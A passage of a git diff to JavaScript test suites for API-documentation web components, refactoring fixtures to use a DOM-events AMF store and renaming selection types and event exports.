         const op = loader.getOperation(model, '/custom1', 'get');
         const [security] = op.security;
-        const element = await serializedFixture(model, security);
-        const node = element.shadowRoot.querySelector('api-parametrized-security-scheme');
-        assert.ok(node, 'has the documentation element node');
-      });
-
-      it('renders the security requirement when passing a domain model', async () => {
-        const op = loader.lookupOperation(model, '/custom1', 'get');
-        const security  = op[loader._getAmfKey(loader.ns.aml.vocabularies.security.security)][0];
-        const element = await modelFixture(model, security);
+        const element = await modelFixture(security);
         const node = element.shadowRoot.querySelector('api-parametrized-security-scheme');
         assert.ok(node, 'has the documentation element node');
       });
diff --git a/test/elements/ApiServerSelectorElement.test.js b/test/elements/ApiServerSelectorElement.test.js
index 2bca9a8..9d57980 100644
--- a/test/elements/ApiServerSelectorElement.test.js
+++ b/test/elements/ApiServerSelectorElement.test.js
@@ -1,8 +1,9 @@
 /* eslint-disable prefer-destructuring */
 /* eslint-disable no-param-reassign */
-import { fixture, assert, nextFrame, html } from '@open-wc/testing';
+import { fixture, assert, nextFrame, html, aTimeout, oneEvent } from '@open-wc/testing';
 import sinon from 'sinon';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-server-selector.js';
 import {
   updateServerSelection,
@@ -11,44 +12,51 @@ import {
 } from '../../src/elements/ApiServerSelectorElement.js';
 
 /** @typedef {import('../../src/helpers/amf').AmfDocument} AmfDocument */
+/** @typedef {import('../../').SelectionType} SelectionType */
 /** @typedef {import('../../').ApiServerSelectorElement} ApiServerSelectorElement */
 
 describe('ApiServerSelectorElement', () => {
   const loader = new AmfLoader();
+  const store = new DomEventsAmfStore(window);
+  store.listen();
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiServerSelectorElement>} 
    */
-  async function basicFixture(amf) {
-    return (fixture(html`<api-server-selector .amf="${amf}"></api-server-selector>`));
+  async function basicFixture() {
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`<api-server-selector .queryDebouncerTimeout="${0}"></api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiServerSelectorElement>} 
    */
-  async function allowCustomFixture(amf) {
-    return (fixture(html`<api-server-selector .amf="${amf}" allowCustom></api-server-selector>`));
+  async function allowCustomFixture() {
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`<api-server-selector allowCustom .queryDebouncerTimeout="${0}"></api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
    * @returns {Promise<ApiServerSelectorElement>} 
    */
   async function customInputFixture() {
-    return (fixture(html`<api-server-selector
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`<api-server-selector
       allowCustom
       type="custom"
+      .queryDebouncerTimeout="${0}"
     ></api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiServerSelectorElement>} 
    */
-  async function extraOptionsFixture(amf) {
-    return (fixture(html`
-      <api-server-selector .amf="${amf}">
+  async function extraOptionsFixture() {
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`
+      <api-server-selector .queryDebouncerTimeout="${0}">
         <anypoint-item slot="custom-base-uri" value="http://customServer.com">
           http://customServer.com
         </anypoint-item>
@@ -56,14 +64,16 @@ describe('ApiServerSelectorElement', () => {
           http://customServer2.com
         </anypoint-item>
     </api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
    * @returns {Promise<ApiServerSelectorElement>} 
    */
   async function slotChangeFixture() {
-    return (fixture(html`
-      <api-server-selector>
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`
+      <api-server-selector .queryDebouncerTimeout="${0}">
         <anypoint-item slot="custom-base-uri" value="http://customServer.com">
           http://customServer.com
         </anypoint-item>
@@ -74,58 +84,63 @@ describe('ApiServerSelectorElement', () => {
           http://customServer3.com
         </anypoint-item>
     </api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
    * @returns {Promise<ApiServerSelectorElement>} 
    */
   async function baseUriFixture() {
-    return (fixture(html`<api-server-selector allowCustom baseUri="https://www.google.com"></api-server-selector>`));
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`<api-server-selector .queryDebouncerTimeout="${0}" allowCustom baseUri="https://www.google.com"></api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
    * @returns {Promise<ApiServerSelectorElement>} 
    */
   async function anypointFixture() {
-    return (fixture(html`<api-server-selector
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`<api-server-selector
       allowCustom
       anypoint
+      .queryDebouncerTimeout="${0}"
       ></api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
    * @returns {Promise<ApiServerSelectorElement>} 
    */
   async function outlinedFixture() {
-    return (fixture(html`<api-server-selector
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`<api-server-selector
       allowCustom
       outlined
+      .queryDebouncerTimeout="${0}"
       >
-      </api-server-selector>`));
+    </api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiServerSelectorElement>} 
    */
-  async function autoSelectFixture(amf) {
-    return (fixture(html`
-      <api-server-selector
-        .amf="${amf}"
-        autoSelect
-      ></api-server-selector>
+  async function autoSelectFixture() {
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`
+      <api-server-selector autoSelect .queryDebouncerTimeout="${0}"></api-server-selector>
     `));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiServerSelectorElement>} 
    */
-  async function unselectableFixture(amf) {
-    return (fixture(html`
-      <api-server-selector
-        .amf="${amf}"
-      >
+  async function unselectableFixture() {
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`
+      <api-server-selector .queryDebouncerTimeout="${0}">
       <anypoint-item slot="custom-base-uri">
         srv 1
       </anypoint-item>
@@ -134,15 +149,16 @@ describe('ApiServerSelectorElement', () => {
       </anypoint-item>
       </api-server-selector>
     `));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiServerSelectorElement>} 
    */
-  async function extraOptionsCustomFixture(amf) {
-    return (fixture(html`
-      <api-server-selector .amf="${amf}" allowCustom>
+  async function extraOptionsCustomFixture() {
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`
+      <api-server-selector allowCustom .queryDebouncerTimeout="${0}">
         <anypoint-item slot="custom-base-uri" value="http://customServer.com">
           http://customServer.com
         </anypoint-item>
@@ -150,52 +166,56 @@ describe('ApiServerSelectorElement', () => {
           http://customServer2.com
         </anypoint-item>
     </api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} amf
    * @returns {Promise<ApiServerSelectorElement>} 
    */
-  async function autoSelectFixtureWithSlots(amf) {
-    return fixture(html`
-      <api-server-selector .amf="${amf}" allowCustom autoSelect>
+  async function autoSelectFixtureWithSlots() {
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`
+      <api-server-selector allowCustom autoSelect .queryDebouncerTimeout="${0}">
         <anypoint-item slot="custom-base-uri" data-value="http://customServer.com">
           http://customServer.com
         </anypoint-item>
         <anypoint-item slot="custom-base-uri" value="http://customServer2.com">
           http://customServer2.com
         </anypoint-item>
-    </api-server-selector>`);
+    </api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} amf
-   * @param {string=} selectedShape
-   * @param {string=} selectedShapeType
+   * @param {string=} domainId
+   * @param {SelectionType=} domainType
    * @returns {Promise<ApiServerSelectorElement>} 
    */
-  async function selectedShapeFixture(amf, selectedShape, selectedShapeType) {
-    return fixture(html`
-      <api-server-selector .amf="${amf}" .selectedShape="${selectedShape}" .selectedShapeType="${selectedShapeType}">
-    </api-server-selector>`);
+  async function domainIdFixture(domainId, domainType) {
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`
+      <api-server-selector .queryDebouncerTimeout="${0}" .domainId="${domainId}" .domainType="${domainType}">
+    </api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   /**
-   * @param {AmfDocument=} amf
-   * @param {string=} selectedShape
-   * @param {string=} selectedShapeType
+   * @param {string=} domainId
+   * @param {SelectionType=} domainType
    * @param {any=} value
    * @returns {Promise<ApiServerSelectorElement>} 
    */
-  async function selectedShapeFixtureWithValue(amf, selectedShape, selectedShapeType, value) {
-    return fixture(html`
-      <api-server-selector
-        .amf="${amf}"
+  async function domainIdFixtureWithValue(domainId, domainType, value) {
+    const element = /** @type ApiServerSelectorElement */ (await fixture(html`
+      <api-server-selector .queryDebouncerTimeout="${0}"
+        .domainId="${domainId}"
+        .domainType="${domainType}"
         .value="${value}"
-        .selectedShape="${selectedShape}"
-        .selectedShapeType="${selectedShapeType}"
       >
-    </api-server-selector>`);
+    </api-server-selector>`));
+    await aTimeout(2);
+    return element;
   }
 
   describe('basic usage', () => {
@@ -433,9 +453,10 @@ describe('ApiServerSelectorElement', () => {
 
   [false, true].forEach((compact) => {
     describe(compact ? 'Compact model' : 'Full model', () => {
-      function changeSelection(element, { selected, type }) {
-        element.selectedShape = selected;
-        element.selectedShapeType = type;
+      async function changeSelection(element, { selected, type }) {
+        element.domainId = selected;
+        element.domainType = type;
+        await aTimeout(2)
       }
 
       describe('[serverListTemplate]()', () => {
@@ -446,10 +467,11 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'servers-api');
+          store.amf = model;
         });
 
         beforeEach(async () => {
-          element = await basicFixture(model);
+          element = await basicFixture();
         });
 
         it('returns empty array when servers is null', () => {
@@ -466,24 +488,24 @@ describe('ApiServerSelectorElement', () => {
           const endpointId = endpoint['@id'];
           const detail = {
             selected: endpointId,
-            type: 'endpoint',
+            type: 'resource',
           };
-          changeSelection(element, detail);
+          await changeSelection(element, detail);
           await nextFrame();
           assert.lengthOf(element[serverListTemplate](), 1);
         });
 
-        it('returns list of servers for a method', () => {
+        it('returns list of servers for a method', async () => {
           const endpoint = loader.lookupEndpoint(model, '/ping');
           const method = loader.lookupOperation(model, '/ping', 'get');
           const endpointId = endpoint['@id'];
           const methodId = method['@id'];
           const detail = {
             selected: methodId,
-            type: 'method',
+            type: 'operation',
             endpointId,
           };
-          changeSelection(element, detail);
+          await changeSelection(element, detail);
           assert.lengthOf(element[serverListTemplate](), 2);
         });
       });
@@ -494,10 +516,11 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'servers-api');
+          store.amf = model;
         });
 
         it('selects a server', async () => {
-          const element = await basicFixture(model);
+          const element = await basicFixture();
 
           const node = /** @type HTMLElement */ (element.shadowRoot.querySelector('[data-value="https://{customerId}.saas-app.com:{port}/v2"]'));
           node.click();
@@ -518,47 +541,20 @@ describe('ApiServerSelectorElement', () => {
         });
       });
 
-      describe('updateServers()', () => {
-        /** @type AmfDocument */
-        let model;
-        /** @type ApiServerSelectorElement */
-        let element;
-        
+      describe('apiserverscount event', () => {
         before(async () => {
-          model = await loader.getGraph(compact, 'servers-api');
-        });
-
-        beforeEach(async () => {
-          element = await basicFixture(model);
+          store.amf = undefined;
         });
 
-        it('updates servers for an endpoint', () => {
-          const endpointId = loader.lookupEndpoint(model, '/ping')['@id'];
-          element.updateServers({ type: 'endpoint', id: endpointId });
-          assert.lengthOf(element.servers, 1);
-        });
-
-        it('updates servers for a method', () => {
-          const endpointId = loader.lookupEndpoint(model, '/ping')['@id'];
-          const methodId = loader.lookupOperation(model, '/ping', 'get')['@id'];
-          element.updateServers({ type: 'method', id: methodId, endpointId });
-          assert.lengthOf(element.servers, 2);
-        });
-      });
-
-      describe('apiserverscount event', () => {
         describe('initialization', () => {
           /** @type ApiServerSelectorElement */
           let element;
           let event;
 
           beforeEach(async () => {
-            const handler = (e) => {
-              event = e;
-            }
             element = document.createElement('api-server-selector');
-            element.addEventListener('serverscountchanged', handler);
             document.body.appendChild(element);
+            event = await oneEvent(element, 'serverscountchanged');
           });
 
           afterEach(() => {
@@ -607,6 +603,7 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'servers-api');
+          store.amf = model;
         });
 
         beforeEach(async () => {
@@ -623,8 +620,6 @@ describe('ApiServerSelectorElement', () => {
         });
 
         it('sets the anypoint property on the server items', async () => {
-          element.amf = model;
-          await nextFrame();
           // class="custom-option"
           const nodes = element.shadowRoot.querySelectorAll('anypoint-item');
           const items = Array.from(nodes).filter((node) => node.getAttribute('value') !== 'custom');
@@ -672,10 +667,11 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'servers-api');
+          store.amf = model;
         });
 
         beforeEach(async () => {
-          element = await extraOptionsFixture(model);
+          element = await extraOptionsFixture();
         });
 
         it('selects slot value', async () => {
@@ -691,44 +687,45 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'servers-api');
+          store.amf = model;
         });
 
         it('selects a default server for the API model', async () => {
-          const element = await autoSelectFixture(model);
+          const element = await autoSelectFixture();
           assert.equal(element.value, 'https://{customerId}.saas-app.com:{port}/v2');
         });
 
         it('selects when changing selection to an endpoint', async () => {
-          const element = await autoSelectFixture(model);
+          const element = await autoSelectFixture();
           const endpoint = loader.lookupEndpoint(model, '/ping');
           const endpointId = endpoint['@id'];
           const detail = {
             selected: endpointId,
-            type: 'endpoint',
+            type: 'resource',
           };
-          changeSelection(element, detail);
+          await changeSelection(element, detail);
           await nextFrame();
           assert.equal(element.value, 'https://endpoint.example.com');
         });
 
         it('selects when changing selection to a method', async () => {
-          const element = await autoSelectFixture(model);
+          const element = await autoSelectFixture();
           const endpoint = loader.lookupEndpoint(model, '/ping');
           const method = loader.lookupOperation(model, '/ping', 'get');
           const endpointId = endpoint['@id'];
           const methodId = method['@id'];
           const detail = {
             selected: methodId,
-            type: 'method',
+            type: 'operation',
             endpointId,
           };
-          changeSelection(element, detail);
+          await changeSelection(element, detail);
           await nextFrame();
           assert.equal(element.value, 'https://echo.example.com');
         });
 
         it('keeps selection when possible', async () => {
-          const element = await autoSelectFixture(model);
+          const element = await autoSelectFixture();
           const endpoint1 = loader.lookupEndpoint(model, '/default');
           const method1 = loader.lookupOperation(model, '/default', 'get');
           const endpoint2 = loader.lookupEndpoint(model, '/duplicated');
@@ -736,19 +733,19 @@ describe('ApiServerSelectorElement', () => {
 
           const detail = {
             selected: method1['@id'],
-            type: 'method',
+            type: 'operation',
             endpointId: endpoint1['@id'],
           };
-          changeSelection(element, detail);
+          await changeSelection(element, detail);
           await nextFrame();
           element.value = 'http://beta.api.openweathermap.org/data/2.5/';
           await nextFrame();
           const detail2 = {
             selected: method2['@id'],
-            type: 'method',
+            type: 'operation',
             endpointId: endpoint2['@id'],
           };
-          changeSelection(element, detail2);
+          await changeSelection(element, detail2);
           await nextFrame();
           assert.equal(element.value, 'http://beta.api.openweathermap.org/data/2.5/');
         });
@@ -760,10 +757,11 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'no-servers-api');
+          store.amf = model;
         });
 
         it('selects first slot element if there are no model servers', async () => {
-          const element = await autoSelectFixtureWithSlots(model);
+          const element = await autoSelectFixtureWithSlots();
           assert.equal(element.value, 'http://customServer.com');
           assert.equal(element.type, 'extra');
         });
@@ -772,7 +770,7 @@ describe('ApiServerSelectorElement', () => {
           let detail;
           // @ts-ignore
           window.addEventListener('apiserverchanged', (e) => { detail = e.detail; });
-          await autoSelectFixtureWithSlots(model);
+          await autoSelectFixtureWithSlots();
           assert.isDefined(detail, 'has the event');
           // @ts-ignore
           assert.equal(detail.value, 'http://customServer.com');
@@ -789,10 +787,11 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'servers-api');
+          store.amf = model;
         });
 
         beforeEach(async () => {
-          element = await unselectableFixture(model);
+          element = await unselectableFixture();
         });
 
         it('do not select element that has no value', () => {
@@ -824,19 +823,22 @@ describe('ApiServerSelectorElement', () => {
         });
 
         it('returns values from servers', async () => {
-          const element = await basicFixture(model);
+          store.amf = model;
+          const element = await basicFixture();
           const result = element.serverValues;
           assert.deepEqual(result, serverValues);
         });
 
         it('returns values from custom servers', async () => {
+          store.amf = undefined;
           const element = await extraOptionsFixture();
           const result = element.serverValues;
           assert.deepEqual(result, customValues);
         });
 
         it('returns values from servers and custom servers', async () => {
-          const element = await extraOptionsFixture(model);
+          store.amf = model;
+          const element = await extraOptionsFixture();
           const result = element.serverValues;
           assert.deepEqual(result, serverValues.concat(customValues));
         });
@@ -848,30 +850,31 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'servers-api');
+          store.amf = model;
         });
 
         it('returns false when no value', async () => {
-          const element = await basicFixture(model);
+          const element = await basicFixture();
           const result = element.isValueCustom;
           assert.isFalse(result);
         });
 
         it('returns false when value is on the servers list', async () => {
-          const element = await basicFixture(model);
+          const element = await basicFixture();
           element.value = 'https://{customerId}.saas-app.com:{port}/v2';
           const result = element.isValueCustom;
           assert.isFalse(result);
         });
 
         it('returns false when value is on the custom servers list', async () => {
-          const element = await extraOptionsFixture(model);
+          const element = await extraOptionsFixture();
           element.value = 'http://customServer.com';
           const result = element.isValueCustom;
           assert.isFalse(result);
         });
 
         it('returns true when on either of lists', async () => {
-          const element = await extraOptionsFixture(model);
+          const element = await extraOptionsFixture();
           element.value = 'http://mostCustomServer.com';
           const result = element.isValueCustom;
           assert.isTrue(result);
@@ -889,10 +892,11 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'servers-api');
+          store.amf = model;
         });
 
         it('is empty array by default', async () => {
-          const element = await basicFixture(model);
+          const element = await basicFixture();
           const result = element[customItems];
           assert.deepEqual(result, []);
         });
@@ -939,10 +943,11 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'servers-api');
+          store.amf = model;
         });
 
         it('selects value from rendered servers', async () => {
-          const element = await basicFixture(model);
+          const element = await basicFixture();
           element.value = serverValues[1];
           await nextFrame();
           const node = element.shadowRoot.querySelector('anypoint-listbox');
@@ -950,7 +955,7 @@ describe('ApiServerSelectorElement', () => {
         });
 
         it('selects value from rendered custom servers', async () => {
-          const element = await extraOptionsFixture(model);
+          const element = await extraOptionsFixture();
           element.value = customValues[1];
           await nextFrame();
           const node = element.shadowRoot.querySelector('anypoint-listbox');
@@ -958,7 +963,7 @@ describe('ApiServerSelectorElement', () => {
         });
 
         it('opens the custom editor when value is custom', async () => {
-          const element = await extraOptionsCustomFixture(model);
+          const element = await extraOptionsCustomFixture();
           element.value = 'super-custom';
           element.type = 'custom';
           await nextFrame();
@@ -966,7 +971,7 @@ describe('ApiServerSelectorElement', () => {
         });
       });
 
-      describe('selectedShape & selectedShapeType', () => {
+      describe('domainId & domainType', () => {
         /** @type ApiServerSelectorElement */
         let element;
         let method;
@@ -977,57 +982,59 @@ describe('ApiServerSelectorElement', () => {
         
         before(async () => {
           model = await loader.getGraph(compact, 'servers-api');
+          store.amf = model;
         });
 
         beforeEach(async () => {
-          element = await basicFixture(model);
+          element = await basicFixture();
           method = loader.lookupOperation(model, '/ping', 'get');
-          methodId = element._getValue(method, '@id');
+          methodId = method['@id'];
         });
 
         it('should load method servers on init', async () => {
-          element = await selectedShapeFixture(model, methodId, 'method');
+          element = await domainIdFixture(methodId, 'operation');
           assert.equal(element.servers.length, 2)
         });
 
-        it('should load root servers on init with invalid selectedShape', async () => {
-          element = await selectedShapeFixture(model, '', 'method');
+        it('should load root servers on init with invalid domainId', async () => {
+          element = await domainIdFixture('', 'operation');
           assert.equal(element.servers.length, 4)
         });
 
-        it('should load root servers on init with invalid selectedShapeType', async () => {
-          element = await selectedShapeFixture(model, methodId, '');
+        it('should load root servers on init with invalid domainType', async () => {
+          // @ts-ignore
+          element = await domainIdFixture(methodId, '');
           assert.equal(element.servers.length, 4)
         });
 
         it('should change to new endpoint\'s servers after navigation', async () => {
-          element = await selectedShapeFixture(model, methodId, 'method');
+          element = await domainIdFixture(methodId, 'operation');
           const endpoint = loader.lookupEndpoint(model, '/ping');
           const id = endpoint['@id'];
           const detail = {
             selected: id,
-            type: 'endpoint'
+            type: 'resource'
           };
-          changeSelection(element, detail);
+          await changeSelection(element, detail);
           await nextFrame();
           assert.lengthOf(element.servers, 1);
         });
 
         it('should change to new method\'s servers after navigation', async () => {
-          element = await selectedShapeFixture(model, methodId, 'method');
+          element = await domainIdFixture(methodId, 'operation');
           const nextMethod = loader.lookupOperation(model, '/files', 'get');
           const id = nextMethod['@id'];
           const detail = {
             selected: id,
-            type: 'method'
+            type: 'operation'
           };
-          changeSelection(element, detail);
+          await changeSelection(element, detail);
           await nextFrame();
           assert.lengthOf(element.servers, 1);
         });
 
         it('starts with a selected server value that is not the first one available', async () => {
-          element = await selectedShapeFixtureWithValue(model, methodId, 'method', 'https://echo2.example.com');
+          element = await domainIdFixtureWithValue(methodId, 'operation', 'https://echo2.example.com');
           assert.equal(element.value, 'https://echo2.example.com');
         });
       });
@@ -1137,15 +1144,16 @@ describe('ApiServerSelectorElement', () => {
         
     before(async () => {
       model = await loader.getGraph(true, 'servers-api');
+      store.amf = model;
     });
 
     it('is accessible when no selection', async () => {
-      const element = await basicFixture(model);
+      const element = await basicFixture();
       await assert.isAccessible(element);
     });
 
     it('is accessible with selection', async () => {
-      const element = await autoSelectFixture(model);
+      const element = await autoSelectFixture();
       await assert.isAccessible(element);
     });
 
diff --git a/test/elements/ApiSummaryElement.test.js b/test/elements/ApiSummaryElement.test.js
index 1468046..da923f3 100644
--- a/test/elements/ApiSummaryElement.test.js
+++ b/test/elements/ApiSummaryElement.test.js
@@ -13,7 +13,7 @@ import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 
 describe('ApiSummaryElement', () => {
   const loader = new AmfLoader();
-  const store = new DomEventsAmfStore(undefined, window);
+  const store = new DomEventsAmfStore(window);
   store.listen();
 
   /**
@@ -490,8 +490,8 @@ describe('ApiSummaryElement', () => {
 
         it('clears everything when changing to RAML library', async () => {
           store.amf = libraryModel;
-          await aTimeout(0);
-          assert.isUndefined(element.summary);
+          await aTimeout(2);
+          assert.notOk(element.summary);
           assert.deepEqual(element.servers, []);
           assert.deepEqual(element[endpointsValue], []);
         });
diff --git a/test/elements/SE-12957.test.js b/test/elements/SE-12957.test.js
index 34c258b..5725db4 100644
--- a/test/elements/SE-12957.test.js
+++ b/test/elements/SE-12957.test.js
@@ -1,11 +1,12 @@
 import { fixture, assert, html, aTimeout } from '@open-wc/testing';
 import { AmfLoader } from '../AmfLoader.js';
+import { DomEventsAmfStore } from '../../src/store/DomEventsAmfStore.js';
 import '../../define/api-operation-document.js';
 
 /** @typedef {import('../../').Amf.AmfDocument} AmfDocument */
 /** @typedef {import('../../').ApiOperationDocumentElement} ApiOperationDocumentElement */
 /** @typedef {import('../../').ApiParameterDocumentElement} ApiParameterDocumentElement */
-/** @typedef {import('../../src/helpers/amf').Operation} Operation */
+/** @typedef {import('../../src/helpers/api').ApiOperation} ApiOperation */
 
 // In OAS path parameters can be defined on an operation level. This is in conflict
 // with RAML which only allows variables on the endpoint level.
@@ -14,18 +15,19 @@ import '../../define/api-operation-document.js';
 describe('ApiOperationDocumentElement', () => {
   describe('SE-12957', () => {
     const loader = new AmfLoader();
+    const store = new DomEventsAmfStore(window);
+    store.listen();
     const apiFile = 'SE-12957';
 
     /**
-     * @param {AmfDocument} amf
-     * @param {Operation=} shape
+     * @param {ApiOperation=} shape
      * @returns {Promise<ApiOperationDocumentElement>}
      */
-    async function basicFixture(amf, shape) {
+    async function basicFixture(shape) {
       const element = await fixture(html`<api-operation-document 
         .queryDebouncerTimeout="${0}" 
-        .amf="${amf}" 
-        .domainModel="${shape}"
+        .domainId="${shape && shape.id}"
+        .operation="${shape}"
       ></api-operation-document>`);
       await aTimeout(0);
       return /** @type ApiOperationDocumentElement */ (element);
@@ -40,8 +42,8 @@ describe('ApiOperationDocumentElement', () => {
         });
 
         it('computes path parameters from AMF Endpoint model', async () => {
-          const data = loader.lookupOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
-          const element = await basicFixture(model, data);
+          const data = loader.getOperation(model, '/api/v1/alarm/{scada-object-key}', 'get');
+          const element = await basicFixture(data);
           const request = element.shadowRoot.querySelector('api-request-document');
           const params = request.shadowRoot.querySelectorAll('api-parameter-document[data-name="uri"]');
           assert.lengthOf(params, 1, 'has a single path parameter');
diff --git a/test/events/ApiEvents.test.js b/test/events/ApiEvents.test.js
index 177dd37..88866af 100644
--- a/test/events/ApiEvents.test.js
+++ b/test/events/ApiEvents.test.js
@@ -1,6 +1,6 @@
 import { assert, fixture, html } from '@open-wc/testing';
 import sinon from 'sinon';
-import { Events, EventTypes } from  '../../index.js';
+import { ApiEvents, ApiEventTypes } from  '../../index.js';
 
 describe('Events', () => {
   /**
@@ -15,19 +15,19 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Api.summary, spy);
-        Events.Api.summary(et);
+        et.addEventListener(ApiEventTypes.Api.summary, spy);
+        ApiEvents.Api.summary(et);
         assert.isTrue(spy.calledOnce);
       });
 
       it('waits until resolved', async () => {
         const et = await etFixture();
         const data = { id: 'test' };
-        et.addEventListener(EventTypes.Api.summary, (e) => {
+        et.addEventListener(ApiEventTypes.Api.summary, (e) => {
           // @ts-ignore
           e.detail.result = Promise.resolve(data);
         });
-        const result = await Events.Api.summary(et);
+        const result = await ApiEvents.Api.summary(et);
         assert.deepEqual(result, data);
       });
     });
diff --git a/test/events/EndpointEvents.test.js b/test/events/EndpointEvents.test.js
index 0d946eb..02ce360 100644
--- a/test/events/EndpointEvents.test.js
+++ b/test/events/EndpointEvents.test.js
@@ -1,6 +1,6 @@
 import { assert, fixture, html } from '@open-wc/testing';
 import sinon from 'sinon';
-import { Events, EventTypes } from  '../../index.js';
+import { ApiEvents, ApiEventTypes } from  '../../index.js';
 
 describe('Events', () => {
   /**
@@ -17,27 +17,27 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Endpoint.get, spy);
-        Events.Endpoint.get(et, id);
+        et.addEventListener(ApiEventTypes.Endpoint.get, spy);
+        ApiEvents.Endpoint.get(et, id);
         assert.isTrue(spy.calledOnce);
       });
 
       it('the event has the "id" property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Endpoint.get, spy);
-        Events.Endpoint.get(et, id);
+        et.addEventListener(ApiEventTypes.Endpoint.get, spy);
+        ApiEvents.Endpoint.get(et, id);
         assert.deepEqual(spy.args[0][0].detail.id, id);
       });
 
       it('waits until resolved', async () => {
         const et = await etFixture();
         const data = /** @type any */ ({ test: true });
-        et.addEventListener(EventTypes.Endpoint.get, (e) => {
+        et.addEventListener(ApiEventTypes.Endpoint.get, (e) => {
           // @ts-ignore
           e.detail.result = Promise.resolve(data);
         });
-        const result = await Events.Endpoint.get(et, id);
+        const result = await ApiEvents.Endpoint.get(et, id);
         assert.deepEqual(result, data);
       });
     });
@@ -48,27 +48,27 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Endpoint.byPath, spy);
-        Events.Endpoint.byPath(et, path);
+        et.addEventListener(ApiEventTypes.Endpoint.byPath, spy);
+        ApiEvents.Endpoint.byPath(et, path);
         assert.isTrue(spy.calledOnce);
       });
 
       it('the event has the "id" property', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Endpoint.byPath, spy);
-        Events.Endpoint.byPath(et, path);
+        et.addEventListener(ApiEventTypes.Endpoint.byPath, spy);
+        ApiEvents.Endpoint.byPath(et, path);
         assert.deepEqual(spy.args[0][0].detail.id, path);
       });
 
       it('waits until resolved', async () => {
         const et = await etFixture();
         const data = /** @type any */ ({ test: true });
-        et.addEventListener(EventTypes.Endpoint.byPath, (e) => {
+        et.addEventListener(ApiEventTypes.Endpoint.byPath, (e) => {
           // @ts-ignore
           e.detail.result = Promise.resolve(data);
         });
-        const result = await Events.Endpoint.byPath(et, path);
+        const result = await ApiEvents.Endpoint.byPath(et, path);
         assert.deepEqual(result, data);
       });
     });
@@ -77,18 +77,18 @@ describe('Events', () => {
       it('dispatches the event', async () => {
         const et = await etFixture();
         const spy = sinon.spy();
-        et.addEventListener(EventTypes.Endpoint.list, spy);
-        Events.Endpoint.list(et);
+        et.addEventListener(ApiEventTypes.Endpoint.list, spy);
+        ApiEvents.Endpoint.list(et);
         assert.isTrue(spy.calledOnce);
       });
 
       it('waits until resolved', async () => {
         const et = await etFixture();
-        et.addEventListener(EventTypes.Endpoint.list, (e) => {
+        et.addEventListener(ApiEventTypes.Endpoint.list, (e) => {
           // @ts-ignore
           e.detail.result = Promise.resolve();
         });
-        await Events.Endpoint.list(et);
+        await ApiEvents.Endpoint.list(et);
       });
     });
   });
diff --git a/test/events/EventTypes.test.js b/test/events/EventTypes.test.js
index ca271e6..d6be8db 100644
--- a/test/events/EventTypes.test.js
+++ b/test/events/EventTypes.test.js
@@ -1,17 +1,17 @@
 import { assert } from '@open-wc/testing';
-import { EventTypes } from  '../../index.js';
+import { ApiEventTypes } from  '../../index.js';
 import { ensureUnique } from './EventHelper.js';
 
-describe('EventTypes', () => {
+describe('ApiEventTypes', () => {
   describe('Api', () => {
     it('has Api namespace', () => {
